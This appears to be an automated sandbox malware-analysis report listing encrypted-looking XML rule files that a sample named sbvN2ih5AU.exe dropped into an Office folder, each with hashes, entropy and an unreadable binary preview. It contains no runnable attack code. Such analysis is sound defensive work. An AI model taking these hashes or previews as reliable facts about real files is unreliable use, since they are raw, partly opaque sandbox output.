Preview:	<?xml..#...-..)m...[^.....]...d..OY0W#....N#Nt.Xw...#...K.vX...3..uw...M.._.u..0.v..~....+=_Oh..TE....s...l.S...wa)[.6Vg.uN\vQ!2.,...ZF7...j..+.CS/..].w..R.../W..P.4l....-D.Q....Lt.8..U....F.?)>P..q.1d.\....S..z.k..]...\|] ....?..zIk..<.C.T.m.9%.N....G..N.{..1$...7...:...i....7#/D......w7...._}.L-I.I..rC._.fb...).i....(...@h.._.Y\|.s....i..M`vv.}2.Z.+m...9v}.}.uj.. .Y........+.....A........RI...i.$........y..D7v^C...../.....M......!..J.8,Q-......0.#..`6..."..8.Y.8....oc'O.."4......Z..Q..H...C...o.'.!.=...)?...7....=.z...U...4s.R..C..f..N.....k.......P....U%n2.M...~.r...5.'U..1.....i.....N.#Rg.E.k..`.h.\. ....`...m.Z.\....B.C....^c..........Ce\|.h/.b....u.......q%.t%W#@.'....'.z9...,..X.ie\P<,k;.JY.<.HE.I:..a"d~t.k^7.8....y.#.w....dI%..O7..:...F..+...1TL.!G..t_...&.~Y......-.....gl...{P.^....cQ.$...B%...J.:)...).......^6...!...d]..Pq+.....sm...W....y...E...iM',[9......X.?...x*Xd.t\..I.(le.?{.i.%.K=.....t.....Q.=T....^...g.f.wq....@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.882598825495694
Encrypted:	false
SSDEEP:	48:RvFyl7l4cQA3BqPLVnuK/r5dwZksLS/st+e2UJ6wZtPEi+odrXI+h+D:RMlNqPLH/r5KZku26ZtMNIY
MD5:	8F866001E4BBD91979C4B0DE6FCDFCEC
SHA1:	9B44F16A2F7E875D7AC023A54CFB430AF194E6E3
SHA-256:	E1BAB33C3EB3B50726B80DE2E44810A366F450BE4A9B6E2C2457F3FBEA07E138
SHA-512:	57C58794135BBDAB99B88A91B03FB2B546645AFD40193674FB423436FEB93C1A69012830E0D3B444AFE43A5C268073268BBC517B57BDEE7E91F4C474779ABD58
Malicious:	false
Preview:	<?xml..q..R......."...............$<..M/.X...X...Cy..Q1.6.G...+..<....^.K.@....)r................4.T:...E..r...:.;.s.`X....".=QN.x.:H....Dm...cd......_...y.>1.....N.....P.1.x....</..E..<p2.<.B.v...T.t...;)...Bz..Xg1)..3..7.C+..1.w.6.H..2..P.K.%......).i.?s.$8.'.Yj..L.c...-@.p.;.....K....vw..\.y..J...`.1.a...zju_&..I.w....b.....[....J...1v.J ........a:~...J}.(".+qb4...I.N.....5_`D.:.....q3,.[?...D.b&I.J\.o;.~k...r.hs........{...L4K...M..)...M<&........).6]xbql..=SG-0.=-.....`.@.?.7....@.$......@..m.~..dX..LZ..\q...(...w....&.^..&.b..&.....o....JN...~.........}.CM.V.s;'.O{...j....q.n7v...y..L.......a.K..x.<.C......l...yc........j..w..l...d....(.....=&.3...f&...U.8.6B.,...%..d.?.X.O...@0.GzV]q.h.D......z....D.....XW.m.....].....'$[...v...!(.....%..0..bkK...T.\|q_.Sm;....E.Zceb.L<...`v..IV->g1.{....U.'.J..`.^.y.(...V,....U;8.....#..;....N....).w......eM.(...a.lS......].......Q.Co.....wH.........+sQjj.dOq..h.sg.H...U....`..U.K.G*.I...p_.,...z.d.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.880764004288123
Encrypted:	false
SSDEEP:	24:AfBJFkt8XiiaTdnfnFz7H8N4AnUdrRvcsN8AEYFz2EabpOAcw7CLUXpSHmqhc+AV:6ZktJzbG1wKsNvhat7cw7JXpSGoAymD
MD5:	BD191982FB58FA81256787B8A797E951
SHA1:	69FBAEC108D89BA13A8802BD615E5C995EC61B8A
SHA-256:	B2F3EA981A14A9B8E6B4BDFE463751E347D87CB15024369C18E94134EF24F2AE
SHA-512:	F86478A95A9FCDE27283B912DF2B9CBF8BC33F0674F3CD671DC84B04362EE4852887A67C5CED3475D6A1159EEB845AA1360563A5412342008414F219775E31F7
Malicious:	false
Preview:	<?xml.../....v../...!.}....N....J.e.4Qg3............ij[.....O...."..'&.H9(....I.a...NhO.z..R..h.?.....`V.....W3..).&I....4.p.#J.J...e..M>.B..M-S...F. ..C.o...._.].U..\|,.......:....r.[....MF.);Q...v..mWHt..v$.x.. 8..S.&U..V........}....5.,.l...<....B..'...F..9..>n.;.t....BVd.9.).S.!O8...9...aO.B..I...._..m......!A.}h.a.......s..8.tN.i..k.!.....7Z....pQ..;...9.......E...(oab..[....3...+........M.......9..<\M......d...<)6w;....<..d........).2F bB....bQ-i..3^....T...`....f..'..'-?....Kv..B.p%.s.R.mX..l..H/.o...%.~...Q....{..&V@.`.=....-.&.S.cR+..]......H].3...Grz..I..l.K..M..[yE6tP.>.7....R;)..../>...E\.V.'.3.p.".a.......LXa..X.....;.$B..S.....1.I.N........../\.7.\|.$..,...O.......K..nX........c...).v=a.&..1~/O.i-......n......K%!1.!.\|e!.?h.."...:.=....`:..&Q..~.P. ..h.Y..9\|..7...C'.]L....C.Y"..H...J.G.GxIo8.U\..`t...H./....R$FQ.g<.....rU.#..OR. .=...,W&0!:w......a.U ...v...YK?.qF.?.X.6K...j.:..?!. .W.O.8o.E7..ei.}...o.bn..R.3.>.7..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.89942726750967
Encrypted:	false
SSDEEP:	48:QXlWsWth+u6h4Y7CLpCzZXmko8iLo9+llrM+xaD:KEhlCzfS4
MD5:	ECAABB422B232096A1ADF50EBAC907F8
SHA1:	9588E2FA3220482873B6178F47F1093F00B28069
SHA-256:	6BEE70D06D2F14B191092F0027E7B7373308EF89EE8BB1C4C4557682E41049FB
SHA-512:	75A6E520CB8CF63FCC460DCCC76F1DA1C58D81541BB6B7E4B267ADC0F878E3694DCB0E5700C0BF08D3ED31D64DD2B11231C59BECC99B3AC886F567069EFA0484
Malicious:	false
Preview:	<?xmly..Pl....s./M.....P.z...g.Y...+U...py.[..,b.U.\|..iT.,.......}.w....v..f.}..P.=p@x.....;d.<.&....`...".-.).J2.hq3.3.%.1K....`+[.....b....z..rj....!.;./X.^..E..U......\.#...T=...<....b.;.Pkd..L>.......D.......u..!.!...x...:....,)+L\...!.9.... ...S.......;\Nz.d.,......#v...P..~...W=...B..u....;G.m.......Z(.ni......Y".D.....E..N.h....;v.G..Cj./...a".L .....0.....MFN..!.b.VvZ..G-L.. ....P......4g.....t.u..I"&..L~.SOH..yw.{...d..bM1W.K..2F+1..\...[.5..vS.F.L......... l..........>.B..nW.w.....D,u.8...o.U....+.R.:._ql{1=..3......'..t.r.F.oL..Q".....'..2..c..,.>..Zq.+..MR...D.....s..p.},V.dH1u.@...\|.u..s....0..).b..9.!.5.......W.&.N?.N...x\|.r.j#.N.-...6..H.ll.-.g..8N^..'Yo....p'..ud...*7tX VA.A.+.R.I.;..^..9.".c...F}sw..8.(.._..[HO.Xh....`.6...R....k....A..5.L.O.p.y^..N....4...H.+.H.....).1=E....._..0..x.......l..G^CqIy]....us..I6..g..b^`.z.m..~6C.0.\|...8...P..A..v^...-..>.V.d.R9.zA...x.......\|...#a.(....0..j.n..>...O.4..#......@.&..]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.8755811298033676
Encrypted:	false
SSDEEP:	48:w4t4eoWvRV+VlfpayTQABaZzgNLI5QqpD:wpe/5UVZplTQxzgy5QK
MD5:	456D02C616970F60C7DAA49147587C5A
SHA1:	AEBE75263E879164D5758BC5B14203A4B9881937
SHA-256:	CC008A88E62BD6DAA0BD6F06072137FE3D2DFEEC19EA5A55F729494C58BF0E14
SHA-512:	43D12C31A2C595D8552C5070FEC833A6E4D2245EEDA7C1AC617C8DE5940939C039E0E789AA85DDD68FC12D4A9D981319ED56073D25A7D3D4F2828DD62AC74C42
Malicious:	false
Preview:	<?xmly.....?..nV4.+. .....R.,w.Je\|\H...;..W.. .1nwIo.]..u._C....'T.?.Y[j..../.=...j...l.B..E....~s.$.....^.a4....p. ..qR..m.,..z.wwZ...9)...(..].)P>OX..j6.A.My.P?..FJ&...q.i....)......g....f....>.Px.....9....j..(.-.`...A..G..R{..%i..-.U.....uh.hY.P..$.l\.Q.Q..y....)...b..,..r.....\|.z.DM.y.$.chm........h<@tRr.)AFh.Q.TeU^5.5....U....Y..~.......0.%T."8Y...>.v.h..W.....oC.GY.'.u._....{...x.f...7Q."9.k......G..28....P%$.e....V....,...%........l..-.C.M..6JR.s{. 4...=.U.E.b....+K...,.j...q.(.d!.......VZS.a.^.?v..^....:.X..&....$..7./.k...3.....^C..._\4k.../x......\|..F.D......:.^..B.....O..j.\|..e$.O......K.^).`...Ge1...4....P.iO...h....k=.3..Mnyd......l[...a#R....p$.X...;..OA.1..'...bM<l..@j.B.)Y3.OT9f.n.jy..T....[..}f8.\...i.F.J;q7(z...\..+'....CrE..G..."...#.$N.D.h .""Z.@..Y..`D..4!.Q..r...!...N.........O...i...L1S.G(4.-<.g$.(\....g..[g.....wW.a>BW>:..j?....o....q..;.......j.%..P...h..+.Z......W1..e?...u$...J..W..g....W....xT.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.867146820907876
Encrypted:	false
SSDEEP:	24:IK7MxY8Cf9qQmxMlTNAe3ksK3fTUyQlclOyE3u/nVJ6f5m8SwCSUR6Z0bMwU2bD:IvC8CoilNUvTXyEVJ6g8Sw/UW0A2D
MD5:	53C280A9A59901C7F3094BF554C8C828
SHA1:	9B32F1E8CAF3E4E3F1AE993BD828D42603D99624
SHA-256:	5467D254C8BE303127A4CF7752A6DF2136393D0348DBA2C30B72DE95781D40A2
SHA-512:	0AB6F5A2B78E30495EE2EDE5A77739D78530BA530FF6F8412E17D15237771B836E727612CBC648E3B08A68D131039A477934416C33256707289415D178DEA7F0
Malicious:	false
Preview:	<?xml.n.(jh~.s....U.m:.[....Q...G...#3.EZ...2`}...V..f...j:..Q[...l.......[=...R..z.172'.....@i?.^^....gd.P......XT...<.q@Z...........0.."D.M.T._..z.Fq.I...."V..[Y."#.jI..@./+....2c3LY.....=.8fF..L..F.f..O.;z..#[..oH.'....$..kJ.~..e.......E.w.,u.0).V...1.t.~mj._...9._..7....x............4..1/.u.l6M6s}..4..b...!.../v.........x......j.A...U.N3F..0G....F.........@.....d.W...Q..!E.....(.Zd.\..t.[!.@.3.+O.b..#.v.YC.\..[.&y.......9.i........a.;.c...f...].OB..-...Hv.a....y8.z&,...WN...9n.......f..k..}.t.Nd.;..XI..3..5w`p.....-.....M.fX...H.$.....Z.Zb.{R.*HG....n.oy.....js./..i5....vu.(.=....=...3...........i.\..fF.p........+..3.N.}....Q.......fF.5.<...m.H.......jl....RD....H..[5.>.......M..\p..Z.=.].^.N%.$...........,.....(..'}f..h..n...8....iM..S..M..-.....("L.bZ.;1-6c........S.......T..znw...8.<V.S..5x...:'...?Yy..m....~..x...JquK>..[...Qr..L.s6'M...M.b".M?..H......V.d....h....h.r...A.D...[-~=...q.Q.$........2.%.....{....,/.r4ZI

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.892223762990263
Encrypted:	false
SSDEEP:	24:GhcYB7Ex3sRXCbhqKsCkTI6ojBmtrgUkaiUKSto3bA/XJTK0EDw2hww9ZLjo2bD:OEhsRlNTEeU5Bwn/5TmE2v33D
MD5:	D5F69AAF892EEC776B5AE34B1C683202
SHA1:	C5DB563B3B5E2DF256BF7314D309708488D30D33
SHA-256:	80F7ED4C40F3424AC19F8E77266D46F496BAEC74AC5B7D3EBB81DE53A061BEF6
SHA-512:	C111CBCCE238C395D8DD3C709BCBD773CA9F600F3E0BDA6D23BEF2318471A83A7C313DE534223E719DF86F8C41C2736FCEBB51502BB18A464859AF36EB268C9F
Malicious:	false
Preview:	<?xml.....He.x.Ux.:i.KTl.UO.g.o.r......(...u.{...).g....!.S....j{.... dq..{.z....Qe..@.E..\z_O...O..+..f.g..m.O.6....-iCOi\./.S...8......b7.5....1...9............w....Q0U.\.8........c$k?.t.4Z[.e..(....EG.\|t.!..Ik.$>..ZS..NH.T..T....\[..[...U. w...j.%.$\|<...L,8]D......G3.U.62X...]m.(.OSbS[..az`>........K....H..j......!..6........ ...\|....fx.S.G.l`#\|P..I......{'6..h..Y,....O.x....M>.Y......Q.S.f...-..c..3J..k.$..&.........".W.L.e....WF..~....\|...d{d.<26D.c.a.......J.........VU.........7!=..R...\|{!.d_..M....f.H.%.L.....3.,'.....H......x.X.m...l?........."H.M..o.g1.]....9.........ia9..t<....H.=....$...J........<.v...m..f.n.U....?"..._....[.>...Z+5.5x......3...E~...B.1.. .=..Z..K<.b.VQd`.....+L.fJ..".]..S..T...x.-j..V.....T.c....E.i....=+.5......a.W..!...g_.6]1....('P".?..o...s?..t.4.....W.c.^@.."......PU.......0X.....v....c.....X4..nG...2.,...."..{=7.X...$........Jc....B7Z1..n..4.......,2vM.U.......e.t.'Q....1B..o......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	7.883491499819864
Encrypted:	false
SSDEEP:	48:O3XTElqLWyFVOEkhKSEsGdYINmbjdIiyHOsD:OnTEoC4V3kh0sFFj8H3
MD5:	10AF9A56501511484C94092378575633
SHA1:	670D34E491C08CB9D3B41B5FB907E98C20E7588B
SHA-256:	60A4DED79F3CA66A70C570F2D0B44037B316A22DD657FBA9F34F1A713B987C6B
SHA-512:	C9029AF2615BD3C64D08C7AB893B7317ED38B5C6EDCB575049AAAE892F441E273F69E4F90B0F9DCE97153719120BB360CF1EAC741BA68A07655F7B72DB407F7D
Malicious:	false
Preview:	<?xml.0.9=.....\|.pGL.u.'.l....K.k...-.ry....34...>..P}K6.L..Y-t.C.2"...;f..L..vf..~......<$u....V...I.b......!.....>]t..HN.]K..!...m.rVLN.~.$ ..k..+..`Vz..#~Mm.KF..j,@6W..s..=f.v...5j.4..&y.[.....K...f._]-...JoY....0....n....d....o..5....c.........T[..0..$..~...._r.z...Vj.....$0...=<C^.P.P..A.....E.........k{=".t..5.\x..v../.v....3.gf.o.+.@...+m=.mO.a....,q...'..].>.mHf.R...L.....%X.1C......7~.\|S...n.).\.....F..P..YLB?...i..`.7..6............3.p..&...R..>Y:.6..2....Xov....!..Z/F&....M....B.b.....7>...T.....53.xp....@j.q....0.J..0.;Nj...-...f..7...3-..f...7..K....4..N..-T.n..x.O...H}.1.....k(R....`..#.gX..OW.I.#=..Z..?....Z.O..U.n.^...K..YG...n.p{.Degs9..@..9.A..Z.$R\.W.2.n;0.../.4b.U.v][f..i.@y@.8..Fk...b.<...F.......a(. .@t...h.....=...............0.54.~..4........&{.......C.....w.....+.nP.'..G!.=...RA.46....Z......%.1..5...h.pO...w{..j.........N......[\.wR........*.......a...3.-..3>>[-@........f..Y..hf@..:....Z...`..#9s.......86.!.o..A.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.889124009494313
Encrypted:	false
SSDEEP:	24:qvooX2jankbfNANX7FFJ8h4I0tgtgPq6fOEWvc/KhvJrknepwN+MTaM0+pEoWVEQ:qBXoRcx1M6Pfcc2knkwNpJzKos5D
MD5:	D33A41011CC03EDB63F7ABB15EB63FF9
SHA1:	3C5C9349E0D6D0F2D9500EE80BD3AACBCD3D222F
SHA-256:	147F3FD97F5F36DBF0E3E44F2090607DD6CA956D334E25748CA3F2D7B579102E
SHA-512:	73877C74F36985396D18138E58AEDA8388644F5355FB5A1FAC0E625515C436EAC405B1F4E135A6751698C47464CE4A2948058A951BD442F6AD38C61C8D948354
Malicious:	false
Preview:	<?xml@..b?.4.Li1..GZA~.....<.JNP.Ij.).u..i.k.....)rv7I\|.%.E.kC.:%.....!.wD..'.S......`.....$h..e....".{-..$.[...v..C.^.8...NJ...Y....k..f...a6.g....De.V..}!&a0#g..{.Gb..1....F.....~...R>...YDI.:>.R..\".9.4.w:u.......S?....0h.]O..!.(.Wk.....k>l.2.../"2.......S...@.l.\|..0..9'..p.3....0...).....X...r..;...~.6.6..J..<.'.MB..K..G/iE.6Z=.g5.j.%~Y.C...v5...jB'9.....G.....shw..,U.e.J`z.`. ...oQ..E...aPU.,.....x..8.gbt.....J..T....5Em....\|..u.B.....s...r..vs.q..s..P...J..%.._.[...:.u....}>..?.r".....:c...g.n.y)u...u..'....rNS...j...{..)...\|../.\|.h....tl.r.GV.ZW....0D..D.2.Yh).!m?gR..m..t.;t.....TY.."V>....&N.,.....~P.i.LD0......`@"u.A.......ej..V..0..sK.qh.A.WZ.krq61x..3......(!.....eD=.)6..a..K..B..p......?Ra.c.K.g...../..un......A.V8...\.*....m....NO...xIt........J..X".....$.np.......qg...D.M.)}B<.b.a.\|S....().....v_.8.\|_.CZJj....u.,....N..5.n..oP......\|6.0...A....#. .+.YxP.1........c.h...k.P.U.FQ<$q.Q...P..I.m+Ka.:Z...q..W...U..$DD..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.901609627966318
Encrypted:	false
SSDEEP:	48:fR9wZ1k5BspsXTWJ3f9FgiBDdhsL/ZBjCcfuhnD:DO+BeRnxeLhZu
MD5:	1BF4AA1A79E7D55C606F3399DB9544B1
SHA1:	2259351148E3EA7C8F4AECDA33729FD6702D12FD
SHA-256:	FFD76A64320FAB14E75A9C00D513AA7715CED3205A95C6183EDB66A78427B969
SHA-512:	9C0421518D8D01A1208B70141C6DF0ACAEE06B983E10C7D0CAAB7B387A4159FAC264EC4D132613D4B33095173C21754CCAF96EC291A9907A581663A65734C25F
Malicious:	false
Preview:	<?xml..q2)......^B.[....c...'..3.j....5.`".\.K/..0....o.z@...p..W..Q.0..T..'Z.....DA4lp.....x]..p.X...e..Q.&.2..8.B..L.....8#.....s~.W.3.{.B...%.k.v.L./.c$..@....5..ag...#. .o.5..A:...2.(....1.....@f......0iX.S.....=..G.X.T.z....O..2..75?.#+.X.b..u.)v.".R..x...3....\$.J...[/..?'./....2^.S....5....=..q................NQ....1..N.o...&Ih...J....]..)=.......V.~Lu.@p.UmC5..T.U>=...v.p...[$.t...j#.v...mLtTW...tp..P..+.I.^^`)S...[............ ..eL.@..;R.$...w.t..R.p.v.@...P..r\.....V.........=..{..m......bb`F..e...R..\.U....x/. ..-;kB..Pg.z...6..k.E.5.P.h..+....r.A....7.P..G....l.......:&AtL.u.KK.3.V5k.......9"r....l.M...1...&.....g.$m.2..._...(Xj\...^;A.....7...H5......O...BPr:29..........`..$..xT2.H.....1h..VB....W.7......>....]:.....+......O......O..a..\.......f.s......)....k.t...Go~.q............a....$....S...M.A.C.....t..`..]....b...R.bn=k.......X..~\l!W..E.TR....x.0Y0s...e~`.X..Q\|.=....v..K.7.......ng...vk.w..B...#..[B.... .9...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.89240411184729
Encrypted:	false
SSDEEP:	48:eJxWyDSkA1QWglj/mrBf4Uy8UNu7Gd1IpREVAuDfQPyd4H+PY4TNCD:kWexKmj/GYB4pWp4PydE5SK
MD5:	4C2DFA361197D4D04330D12C20D7A266
SHA1:	5255ADD17D05E47ACC60CC4D3800F13242A6B6CE
SHA-256:	2C75722EF2B1A00567003F38FD966802D9C2BAFEA8C5A96B8FF92E086D88C0C0
SHA-512:	0A41FDE4ABAE9CFC2CF05E2D0E938E076956CBDFC1FEF36601AADE6B482508A0B7E9070B836D13D4E3E77714830AAECE98F75517055CCDAFE2E92042F1F3A456
Malicious:	false
Preview:	<?xml1.+.\|..o...........EC...N..k../..u.Q1lI.&t. .H.c..L0...Gt...h.W..wl.............Y...5.M.?.[Q....}loQ.].;.2.....+wg..~....A.5.n..T..A.x.Q........Z}.H...c!._..K..../{.....QX..}4....Wq`V..d..R7.9.....G......N_..,.+.;.>o.F.k..'.S..@.5...z&..0,5..4...6.~. ..[...]g.1_..'.}>.....P.../.x_/k...E..'..=x...9..9.p._....D."O..rL....)2.....Z6.=.u..Q....@G@.I'.v2h.c..F.fC.KcB....z..s,..D.i......s.x..5..."3\....#...sS&.w....{....b..S...e...q.....vM....R.........3.X.z..V..$....t..~.1rP..@..........In.J..o.i'8.P".B.N5..e.Q."..}.F..+..V....G..[......HQ.^....t[.{......$..d.H...Owa.K0..../..,.+=.<.;..-...En.CP..3."q..s...Ko..9j.+.7b.{..F..h"{.....R.)s......c<..........6..p..9L..F..b./..O..b. .........WC.e..,.,..5.....\BDB........rA...L...B;...hW...>DwF=G.$ NgB..xhBo.l..n.#7d..>OP.._!.<x^..WZ..u.!..hd.q'....ey?:...A.4.`4.sO...XvL8E4.>...KU...v.X.....-I..9...\.V..%...@.h....t.Q).y-...0..../...... 8..\ ......h8........g.0O.1O.g....N,...tm<2.g.4...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.9061942769817355
Encrypted:	false
SSDEEP:	48:1YdhspsOq34cEfLq1j84KyeDUP9XL2aJPFgW52bD:1Ydhsps5ocEzHTowotz8
MD5:	ACDA4E95516C1EC4BB6B457C861E7263
SHA1:	DDDA40AC5E9DF1D65DB0185954405F8ACFF1E0F2
SHA-256:	89CB86C3FD41AC84552CF9BAC5A83C927C28EA4B8CA6F7BB6831CAE9A6A4E6C2
SHA-512:	E11D0F8F03680E832008A7DE15DD6893FE89E708A52F60966355981FDFA6F5FBD48D415CC0E4C4CCFAEFD7C5716E095CB682B5936D4761926B26C531DB311664
Malicious:	false
Preview:	<?xml..T........[..h........<v9R.8.w.v.........3..._m.?-...A.>M...q.....T.....x...7..l......1.14(v...#dS$..B.....F...3._....I....z!8.V......Qbe+j=.@.M'..d...`HL./.Wx.&%6Y b.........5.....e.7._...~.<...v?Zk..g..C..XU#...8...de\|c.G...?.Z,..-.~?d...]j...U.v.....^.{.s.!Q.........Q\|h!...(}...........a._...7.l...J...6...g"..uG......4E....cV........=....P.D9...J.?..^..,............e.i.<.N.O.i...R...7.x.....8.d...f......^..{.xD.\w.!............#...~.,.j.....D5....?...:.C&Zs.......G..~..5.U......B.....j................o.F/...n7M><.Z.....^]nZ.e\...L...6r.--.z0-....&9......nf.;$.tC..v..2\O..R....&...u>.....X/=n....i:{....\|l..kC.y.ZA.....1*...$.:w..7....z.k0d.6........d.....D.e.....Rb.%....O."..J!%.c.e...hHG..G.e..g../a........yP.d.OP........^.P.bWW...Q...9.K..%...,..I..J..I.#.....B.g.\|.&........T..0W.:9{.2.`......P/Z..,.............}.4l....C.X.....+..;P.....l.. Vv......6Euag..N..#....N.a}#.,..^_PI...9n..Q..".z..b....l.<...a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.88660953872469
Encrypted:	false
SSDEEP:	48:HLztby6OUNGyKtUVmeXKaMEOy0vCAEkb9kAFID:HLlyQdKmvM1ekbjFU
MD5:	31659135A4D6BABD2D57A0572FF26ADE
SHA1:	9CCEDF41BAA6C0B096733CAE1BFD0719938C796C
SHA-256:	F8B574B7F8B619BD82E5DADBA43FD06927762C5CAE4204538B1729B32D668B7A
SHA-512:	2C59BD049B41388ADBBD9B8AB884B81636CF997CE40250F1936A9D0D842BCB4EBAEE3374AB5FFF589BDDF505FFF4EECE7EA88C5243E33B29AAC702E4A1C557BF
Malicious:	false
Preview:	<?xml...s...VhK..6.!......Asu.;.&P.4.....t.v..\|..7).~........:..\U..+.v..:..f\.....;.N....Z....{M.e.5.g..w...<...)...2.Z#...F..me..YBQ=._+....t.7.aW.....]Dt.S..d\[3yR..G1Z....,........0Y(5...q.YrfCM.k6....Q0.m...q.-....;.'..Y...`fl.....H....T/]Am.....ET.................-y..K.E.s.6.&3._!.V...H.R..j.#.M,..@.R...;.,.......]..Nu~b3...d.lk@.:]p....tv.P6....d.{..#.v.. ...4bCd....... zZ..'..8....$.=~........VM.....A..x..#...V......K..8..Gt.........J.............t.9....7z....-....I>...T.......T.V.wg.......g...%.....0v......P.*.\|g8.\.....94...6.?.#..,.2xA.4?O....uJ._.z.`...H...49...p.'.._.e..X..`..q1.."j..........^.Z.[p<.%..).a6...r.}...V......}.3..x.....M].%.!.]d.Ds..M?3.g?........u.;#...z.........ff..p..v....#.q..>a.B......V.G..{....q?^....qFD....'....N.<..t.h...8A.5..Hv..3...:U......b.P.6e......7..Xh...5$."2...YL&,IG.a.B...^V.....Wgc.P.IA@e..Q.P.~..S.KE.e[w..X...YV..7.....bM?Eg....0<.<...<fj..... ..&..<..\|.Q....z..,..7frD.M.[.I.]..N..S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.886562196328963
Encrypted:	false
SSDEEP:	48:lAkQfHgH+ATh2Aze64knz9o6oe+G+nHdxc5VuAgXD:l4gHnl2Q4Ixyl3cFy
MD5:	62F1553CB0B779F7C7AD98C244479848
SHA1:	6E1BD76BC209F00942666FEE5BAD8C8434BBFB8A
SHA-256:	46B2ACD182181DE849DDCC29E202E89D80DF7C68D59F1D858CC3DF3639211AFC
SHA-512:	5DBB077CB80A1B6B0F1F94A5BA970C5D7B62FB0E4E1F5E3A0A0DE1790AB7E711A40D30427FF6EC5A4CCF5A1A3A66839915AE3EF1E7179292C8EF46EB2D93434B
Malicious:	false
Preview:	<?xmlcV...}..H........#0.....m%.G.....4..Q_..}w.h....3...P....t...h..<j:...8..V.y..........\|I;.....j.L.F...\xS......"/Q.zZ..o6..-B...M.it.....+.......zazio....K.T..Q..N......Y....NZ.}....>..x.w..O...P.cU.+....o..T.wmH\|#.5.fo....J. lJ.0_..... ..v?..@.R........r2f.#$......J.Hw:.:.O.y.R.C..Y.{.B..d.K..&g~.;...j.M..Gs..U......TsU..pEN.R('...[..G.....+..._..1T..bZ....#v..i....O![..o.(r.1..'>.U..twD.j...a..\j..@.....+s..x..`g.U.....Q....?.x......#B0.....F..L.U..xaL.....g!..."#..d....d.O.o.X.y.F.=...F].E..0.a....^..7!.....$....K...U......#J.4...D.:..B..iAjF.v.....W..2.l <....x...4.f.U.t?..... ....^.z..j..;...9....W...O...w....M...W...c..ND..g.u^.oXu..xKp.d.P...L.Y..~EDj.V?..o..,....l.w.Nw^...R8k."!*N.....n-_9ST.$g3.=..}..=....x.....2.{b.@.Fg1Wv.c......3.=.O......d@..y.{.X...eJT........;....[.......z..P.l.f.Y./.G.T{..1.y....<...D.z.F.+.(.&Gg..1;...Qt.....Ae...,.!'u.....e..-MQ.i8..,..j...#..........2...V.exN]...Vf.;].7.y-@.a..lI,b.X].F...Z.K...^...J.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.902029126498979
Encrypted:	false
SSDEEP:	48:HnFZJh/mdV759Oe5oJvetFICwFKFaPmJXGMzEmsRGcD:Hn3E759O8oJYFxwFKFaP0IEY
MD5:	DE49E158A8F3661B4A49316E5CCB0408
SHA1:	8A4BD487FF84F68093D9C6019BB4FA76ECF6613A
SHA-256:	3466D8A6407D7B25C66CD83794AC9157743B936523025831C0A9DBFF80005FAD
SHA-512:	4AB04DAA2047FAD4262B1EF41B4FB8A55EBD5F9893DEE6258E82B0ADB7EDD331CB59C04AC3CB345A5DDCB3D95AAC9A659CE11FC0632295628A97381F4DCD24AA
Malicious:	false
